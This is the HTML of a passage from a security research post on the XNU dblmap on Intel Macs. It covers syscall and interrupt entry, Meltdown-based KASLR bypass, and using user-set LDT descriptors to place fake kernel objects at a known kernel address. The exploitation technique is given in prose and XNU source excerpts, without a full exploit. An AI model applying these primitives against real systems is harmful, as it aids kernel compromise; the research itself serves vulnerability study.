&lt;p&gt;Its other primary functionality is to handle low-level entry and exit to/from the kernel, i.e. via interrupts or syscall. It houses the &lt;a href=&quot;https://wiki.osdev.org/Interrupt_Descriptor_Table&quot;&gt;interrupt descriptor table&lt;/a&gt; (IDT) and the corresponding interrupt handler stubs.&lt;/p&gt;

&lt;p&gt;It likewise contains the stubs for entry through the syscall and sysenter instructions. These entrypoints are set by writing the corresponding &lt;a href=&quot;https://wiki.osdev.org/Model_Specific_Registers&quot;&gt;MSRs&lt;/a&gt;:&lt;/p&gt;

&lt;div style=&quot;border: 1px solid #444; padding: 1rem; background-color: rgb(30, 30, 30); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;/*&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp;* Set MSRs for sysenter/sysexit and syscall/sysret for 64-bit.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp;*/&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;void&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;cpu_syscall_init&lt;/span&gt;(&lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;cpu_data_t&lt;/span&gt; *cdp)&lt;/div&gt;&lt;div&gt;{&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; ...&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;wrmsr64&lt;/span&gt;(MSR_IA32_SYSENTER_EIP, &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;DBLMAP&lt;/span&gt;((&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;uintptr_t&lt;/span&gt;) hi64_sysenter));&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; ...&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;wrmsr64&lt;/span&gt;(MSR_IA32_LSTAR, &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;DBLMAP&lt;/span&gt;((&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;uintptr_t&lt;/span&gt;) hi64_syscall));&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; ...&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
This snippet uses the &lt;code class=&quot;highlighter-rouge&quot;&gt;DBLMAP&lt;/code&gt; macro to reference each function’s alias in the “dblmap,” a concept we’ll cover next.&lt;/p&gt;

&lt;h2 id=&quot;the-xnu-dblmap&quot;&gt;The XNU dblmap&lt;/h2&gt;

&lt;p&gt;The dblmap is a region of virtual memory aliased to the same physical pages making up the &lt;code class=&quot;highlighter-rouge&quot;&gt;__HIB&lt;/code&gt; segment.&lt;/p&gt;

&lt;p&gt;The dblmap is initialized in &lt;a href=&quot;https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/i386/i386_init.c.auto.html#:~:text=doublemap_init(uint8_t%20randL3)&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;doublemap_init()&lt;/code&gt;&lt;/a&gt;, which inserts virtual aliases into the page tables for all physical pages that make up the &lt;code class=&quot;highlighter-rouge&quot;&gt;__HIB&lt;/code&gt; segment. The base of the dblmap is randomized with 8 bits of entropy.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/dblmap_mem_layout_alias.svg&quot; data-lightbox=&quot;dblmap_mem_layout_alias.svg&quot; data-title=&quot;&quot;&gt;
    
      &lt;img src=&quot;/assets/img/dblmap_mem_layout_alias.svg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
&lt;/div&gt;

&lt;p&gt;The aliasing prevents a trivial KASLR bypass using the &lt;a href=&quot;https://www.felixcloutier.com/x86/sidt&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;sidt&lt;/code&gt;&lt;/a&gt; instruction, which will reveal the kernel address of the IDT. This instruction is not a privileged instruction and will not cause an exception if executed in ring3 (usermode), unless &lt;a href=&quot;https://en.wikichip.org/wiki/x86/umip&quot;&gt;User-Mode Instruction Prevention&lt;/a&gt; (UMIP) is enabled on the processor (it’s not in XNU):&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;User-Mode Instruction Prevention (bit 11 of CR4) — When set, the following instructions cannot be
executed if CPL &amp;gt; 0: SGDT, SIDT, SLDT, SMSW, and STR. An attempt at such execution causes a general-protection exception (#GP).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This “leak” is known, as referenced by the following comment from the XNU source:&lt;/p&gt;

&lt;div style=&quot;border: 1px solid #444; padding: 1rem; background-color: rgb(30, 30, 30); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;/*&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp;* For KASLR, we alias the master processor's IDT and GDT at fixed&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp;* virtual addresses to defeat SIDT/SGDT address leakage.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp;*/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
Since the IDT/GDT/LDT/etc are located in the dblmap alias, knowing their addresses in the dblmap does not reveal their addresses in the normal kernel mappings. They do, however, leak the dblmap base.&lt;/p&gt;

&lt;h2 id=&quot;mitigating-meltdown&quot;&gt;Mitigating Meltdown&lt;/h2&gt;

&lt;p&gt;An auxiliary purpose of the dblmap is that it functions as a &lt;a href=&quot;https://en.wikipedia.org/wiki/Meltdown_(security_vulnerability)&quot;&gt;Meltdown&lt;/a&gt; mitigation. The common technique adopted by the various operating systems was to remove kernel mappings from the page tables when executing userspace code, then re-map the kernel upon taking an interrupt/syscall/etc. Linux calls its implementation &lt;a href=&quot;https://en.wikipedia.org/wiki/Kernel_page-table_isolation&quot;&gt;Kernel Page Table Isolation&lt;/a&gt; (KPTI), on Microsoft Windows the equivalent became known as &lt;a href=&quot;https://msrc-blog.microsoft.com/2018/03/23/kva-shadow-mitigating-meltdown-on-windows/&quot;&gt;KVA Shadow&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Both implementations are similar in that when executing user code, only a small subset of kernel pages are present in the page tables. This subset contains the code/data required to handle interrupts and syscalls and transition back and forth between user and kernel page tables. In the case of XNU, the “small subset” is precisely the dblmap.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/dblmap_pti.svg&quot; data-lightbox=&quot;dblmap_pti.svg&quot; data-title=&quot;&quot;&gt;
    
      &lt;img src=&quot;/assets/img/dblmap_pti.svg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
&lt;/div&gt;

&lt;p&gt;In order to make the page table transition, the interrupt dispatch code needs to know the proper page table addresses to switch between. In other words, what value to write to &lt;a href=&quot;https://en.wikipedia.org/wiki/Control_register#CR3&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;cr3&lt;/code&gt;&lt;/a&gt;, the control register that holds the physical address of the top-level paging structure.&lt;/p&gt;

&lt;p&gt;These values reside in a per-CPU data structure in one of the &lt;code class=&quot;highlighter-rouge&quot;&gt;__HIB&lt;/code&gt; segment’s data sections:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;cpshadows[cpu].cpu_ucr3&lt;/code&gt; : for userspace + dblmap&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;cpshadows[cpu].cpu_shadowtask_cr3&lt;/code&gt; : for userspace + full kernel&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Upon entry from userspace, the interrupt dispatch code will switch &lt;code class=&quot;highlighter-rouge&quot;&gt;cr3&lt;/code&gt; to &lt;code class=&quot;highlighter-rouge&quot;&gt;cpu_shadowtask_cr3&lt;/code&gt;, then back to &lt;code class=&quot;highlighter-rouge&quot;&gt;cpu_ucr3&lt;/code&gt; before returning to userspace.&lt;/p&gt;

&lt;h2 id=&quot;mostly-mitigating-meltdown&quot;&gt;(Mostly) Mitigating Meltdown…&lt;/h2&gt;

&lt;p&gt;Since the dblmap is mapped into the page tables when executing user code, anything in the dblmap is, in theory, readable using Meltdown. This brings about the question of whether any “sensitive” data is present in the dblmap or not.&lt;/p&gt;

&lt;p&gt;Most notably, there are several function pointers present as data, used to jump from the dblmap into normally-mapped kernel functions. Leaking any of these is sufficient to determine the kernel slide (an XNU term to describe the randomized kernel base address) and break KASLR.&lt;/p&gt;

&lt;p&gt;It is interesting to note that KASLR can be similarly broken with Meltdown on both Windows and Linux:&lt;/p&gt;

&lt;div class=&quot;jekyll-twitter-plugin&quot;&gt;&lt;blockquote class=&quot;twitter-tweet&quot; align=&quot;center&quot; data-theme=&quot;dark&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;Nice! FTR, Meltdown can still also be used on Linux to bypass KASLR by leaking some IDT entries. &lt;a href=&quot;https://t.co/5NxuyfAXcQ&quot;&gt;https://t.co/5NxuyfAXcQ&lt;/a&gt; &lt;a href=&quot;https://t.co/R2RXHmWoYc&quot;&gt;pic.twitter.com/R2RXHmWoYc&lt;/a&gt;&lt;/p&gt;&amp;mdash; Andrey Konovalov (@andreyknvl) &lt;a href=&quot;https://twitter.com/andreyknvl/status/1278069665160400896?ref_src=twsrc%5Etfw&quot;&gt;June 30, 2020&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async=&quot;&quot; src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;
&lt;/div&gt;

&lt;p&gt;This same strategy works on fully up-to-date versions of macOS running vulnerable Intel hardware. Simply using &lt;a href=&quot;https://github.com/IAIK/meltdown/tree/master/libkdump&quot;&gt;libkdump&lt;/a&gt; to read from the dblmap works as-is. In short, Meltdown can be used to break KASLR on everything but the final generation of Intel-based Mac models, which shipped with &lt;a href=&quot;https://en.wikipedia.org/wiki/Ice_Lake_(microprocessor)&quot;&gt;Ice Lake&lt;/a&gt; processors containing CPU-level fixes for Meltdown.&lt;/p&gt;

&lt;p&gt;While certainly an important and almost universal break of KASLR across Intel-based Macs, we will now discuss several other useful kernel exploit primitives provided by dblmap that apply to all generations including Ice Lake.&lt;/p&gt;

&lt;h2 id=&quot;the-ldt---controlled-data-at-a-known-kernel-address&quot;&gt;The LDT - Controlled Data at a Known Kernel Address&lt;/h2&gt;

&lt;p&gt;From an exploitation perspective, perhaps the most interesting artifact of the dblmap is that it holds the &lt;a href=&quot;https://wiki.osdev.org/Local_Descriptor_Table&quot;&gt;LDT&lt;/a&gt; for each CPU core, which can contain almost arbitrary data controllable from user mode, and is located at a fixed offset within the dblmap.&lt;/p&gt;

&lt;h4 id=&quot;review-of-ldtgdt-mechanics&quot;&gt;Review of LDT/GDT Mechanics&lt;/h4&gt;

&lt;p&gt;The LDT and GDT contain a number of segment descriptors. Each descriptor is either a system descriptor, or a standard code/data descriptor.&lt;/p&gt;

&lt;p&gt;A code/data descriptor is an 8-byte structure describing a region of memory (specified by a base address and limit) with certain access rights (i.e. if it’s readable/writable/executable, and what privilege levels can access it). This is mostly a 32-bit &lt;a href=&quot;https://en.wikipedia.org/wiki/Protected_mode&quot;&gt;protected mode&lt;/a&gt; concept; if executing 64-bit code, base addresses and limits are ignored. A descriptor &lt;em&gt;can&lt;/em&gt; describe a 64-bit code segment, but the base/limit are not used.&lt;/p&gt;

&lt;div style=&quot;padding: 0% 15%&quot;&gt;
&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/dblmap_seg_desc.png&quot; data-lightbox=&quot;dblmap_seg_desc.png&quot; data-title=&quot;From Intel manual &amp;lt;a href='https://www.intel.com/content/www/us/en/architecture-and-technology/64-ia-32-architectures-software-developer-vol-3a-part-1-manual.html'&amp;gt;volume 3A&amp;lt;/a&amp;gt; section 3.4.5&quot;&gt;
    
      &lt;img src=&quot;/assets/img/dblmap_seg_desc.png&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;From Intel manual &lt;a href=&quot;https://www.intel.com/content/www/us/en/architecture-and-technology/64-ia-32-architectures-software-developer-vol-3a-part-1-manual.html&quot;&gt;volume 3A&lt;/a&gt; section 3.4.5&lt;/p&gt;
    
&lt;/div&gt;

&lt;/div&gt;

&lt;p&gt;System descriptors are special, and most are expanded to 16-bytes to accomodate specifying 64-bit addresses. They can be one of the following types:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;LDT - specifies address and size of an LDT&lt;/li&gt;
  &lt;li&gt;task-state segment (TSS) - specifies address of the TSS, a structure with info related to privilege level switching&lt;/li&gt;
  &lt;li&gt;Call, interrupt, or trap gate - specifies an entry point for a far call, interrupt, or trap&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The only system descriptors permitted in the LDT are call gates, which we’ll explore later on.&lt;/p&gt;

&lt;p&gt;Segment descriptors are referenced with a 16-bit segment selector:&lt;/p&gt;
&lt;div style=&quot;padding: 0% 10%&quot;&gt;
&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/dblmap_seg_sel.png&quot; data-lightbox=&quot;dblmap_seg_sel.png&quot; data-title=&quot;From Intel manual volume &amp;lt;a href='https://www.intel.com/content/www/us/en/architecture-and-technology/64-ia-32-architectures-software-developer-vol-3a-part-1-manual.html'&amp;gt;3A&amp;lt;/a&amp;gt; section 3.4.2&quot;&gt;
    
      &lt;img src=&quot;/assets/img/dblmap_seg_sel.png&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;From Intel manual volume &lt;a href=&quot;https://www.intel.com/content/www/us/en/architecture-and-technology/64-ia-32-architectures-software-developer-vol-3a-part-1-manual.html&quot;&gt;3A&lt;/a&gt; section 3.4.2&lt;/p&gt;
    
&lt;/div&gt;

&lt;/div&gt;

&lt;p&gt;For example, the &lt;code class=&quot;highlighter-rouge&quot;&gt;cs&lt;/code&gt; register (code segment), is a selector referencing the segment for whatever code is currently executing. By setting up distinct descriptors in the GDT/LDT for 64-bit and 32-bit code, the OS can enable userspace jumping between protected mode (32-bit code) and long mode (64-bit code) through the use of the appropriate selectors. Specifically on macOS, the hardcoded selectors are:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;0x2b&lt;/code&gt; : 5th GDT entry, ring3 – 64-bit user code&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;0x1b&lt;/code&gt; : 3rd GDT entry, ring3 – 32-bit user code&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;0x08&lt;/code&gt; : 1st GDT entry, ring0 – 64-bit kernel code&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;0x50&lt;/code&gt; : 10th GDT entry, ring0 – 32-bit kernel code&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;ldt-mechanics-on-macos&quot;&gt;LDT Mechanics on macOS&lt;/h4&gt;

&lt;p&gt;A process can set descriptors in its LDT from user mode by calling &lt;a href=&quot;https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man2/i386_set_ldt.2.html&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;i386_set_ldt()&lt;/code&gt;&lt;/a&gt;. The corresponding kernel function this invokes is &lt;a href=&quot;https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/i386/user_ldt.c.auto.html#:~:text=%0ai386_set_ldt_impl&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;i386_set_ldt_impl()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This function imposes some constraints on what types of descriptors are allowed in the LDT. A descriptor must be empty, or specify a userspace 32-bit code/data segment:&lt;/p&gt;

&lt;div style=&quot;border: 1px solid #444; padding: 1rem; background-color: rgb(30, 30, 30); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;/*&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp;* Validate descriptors.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp;* Only allow descriptors with user privileges.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp;*/&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;for&lt;/span&gt; (i = &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0&lt;/span&gt;, dp = (&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;struct&lt;/span&gt; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;real_descriptor&lt;/span&gt; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;*&lt;/span&gt;) &amp;amp;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;new_ldt&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;ldt&lt;/span&gt;[start_sel - begin_sel];&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; i &amp;lt; num_sels;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; i++, dp++) {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;switch&lt;/span&gt; (&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;dp&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;access&lt;/span&gt; &amp;amp; ~ACC_A) {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0&lt;/span&gt;:&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;case&lt;/span&gt; ACC_P:&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* valid empty descriptor, clear Present preemptively */&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;dp&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;access&lt;/span&gt; &amp;amp;= (~ACC_P &amp;amp; &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0xff&lt;/span&gt;);&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;break&lt;/span&gt;;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;case&lt;/span&gt; ACC_P | ACC_PL_U | ACC_DATA:&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;case&lt;/span&gt; ACC_P | ACC_PL_U | ACC_DATA_W:&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;case&lt;/span&gt; ACC_P | ACC_PL_U | ACC_DATA_E:&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;case&lt;/span&gt; ACC_P | ACC_PL_U | ACC_DATA_EW:&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;case&lt;/span&gt; ACC_P | ACC_PL_U | ACC_CODE:&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;case&lt;/span&gt; ACC_P | ACC_PL_U | ACC_CODE_R:&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;case&lt;/span&gt; ACC_P | ACC_PL_U | ACC_CODE_C:&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;case&lt;/span&gt; ACC_P | ACC_PL_U | ACC_CODE_CR:&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;break&lt;/span&gt;;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;default&lt;/span&gt;:&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;task_unlock&lt;/span&gt;(task);&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;user_ldt_free&lt;/span&gt;(new_ldt);&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;return&lt;/span&gt; EACCES;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; }&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp; &amp;nbsp; /* Reject attempts to create segments with 64-bit granules */&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp; &amp;nbsp; /* Note this restriction is still correct, even when&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;* executing as a 64-bit process (we want to maintain a single&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;* 64-bit selector (located in the GDT)).&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;*/&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;if&lt;/span&gt; (&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;dp&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;granularity&lt;/span&gt; &amp;amp; SZ_64) {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;task_unlock&lt;/span&gt;(task);&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;user_ldt_free&lt;/span&gt;(new_ldt);&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;return&lt;/span&gt; EACCES;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; }&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
In terms of the binary format, this translates to the following constraints on each 8-byte descriptor:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;byte 5 (&lt;code class=&quot;highlighter-rouge&quot;&gt;dp-&amp;gt;access&lt;/code&gt;): must be either 0, 1, or have high nibble &lt;code class=&quot;highlighter-rouge&quot;&gt;0xf&lt;/code&gt; (value matching &lt;code class=&quot;highlighter-rouge&quot;&gt;0xf.&lt;/code&gt;)&lt;/li&gt;
  &lt;li&gt;byte 6 (&lt;code class=&quot;highlighter-rouge&quot;&gt;dp-&amp;gt;granularity&lt;/code&gt;): bit 5 cannot be set (mask &lt;code class=&quot;highlighter-rouge&quot;&gt;0x20&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Using the LDT to create fake kernel objects at a known kernel address, these constraints aren’t too restrictive. The only real problem is being able to construct valid kernel pointers within such an object.&lt;/p&gt;

&lt;p&gt;To deal with this, we can misalign the fake object by an offset of 6 bytes. This will overlap &lt;code class=&quot;highlighter-rouge&quot;&gt;dp-&amp;gt;access&lt;/code&gt; with the high byte of the kernel pointer (which will be &lt;code class=&quot;highlighter-rouge&quot;&gt;0xff&lt;/code&gt;). The only constraint will then be that the low byte of the pointer (overlapped with &lt;code class=&quot;highlighter-rouge&quot;&gt;dp-&amp;gt;granularity&lt;/code&gt;) cannot have bit 5 set.&lt;/p&gt;

&lt;p&gt;Successfully setting the LDT descriptors creates a heap-allocated LDT structure, a pointer to which is stored in the &lt;code class=&quot;highlighter-rouge&quot;&gt;task-&amp;gt;i386_ldt&lt;/code&gt; field of the current task structure.&lt;/p&gt;

&lt;div style=&quot;border: 1px solid #444; padding: 1rem; background-color: rgb(30, 30, 30); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;struct&lt;/span&gt; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;user_ldt&lt;/span&gt; {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;int&lt;/span&gt; start;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* first descriptor in table */&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;int&lt;/span&gt; count;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* how many descriptors in table */&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;struct&lt;/span&gt; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;real_descriptor&lt;/span&gt; &amp;nbsp;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;ldt&lt;/span&gt;[&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0&lt;/span&gt;];&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt; /* descriptor table (variable) */&lt;/span&gt;&lt;/div&gt;&lt;div&gt;};&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
Whenever a context switch occurs or the LDT is updated manually, the descriptors from this structure are copied by the kernel into the actual LDT (in the dblmap) by &lt;a href=&quot;https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/i386/user_ldt.c.auto.html#:~:text=%0auser_ldt_set&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;user_ldt_set()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;

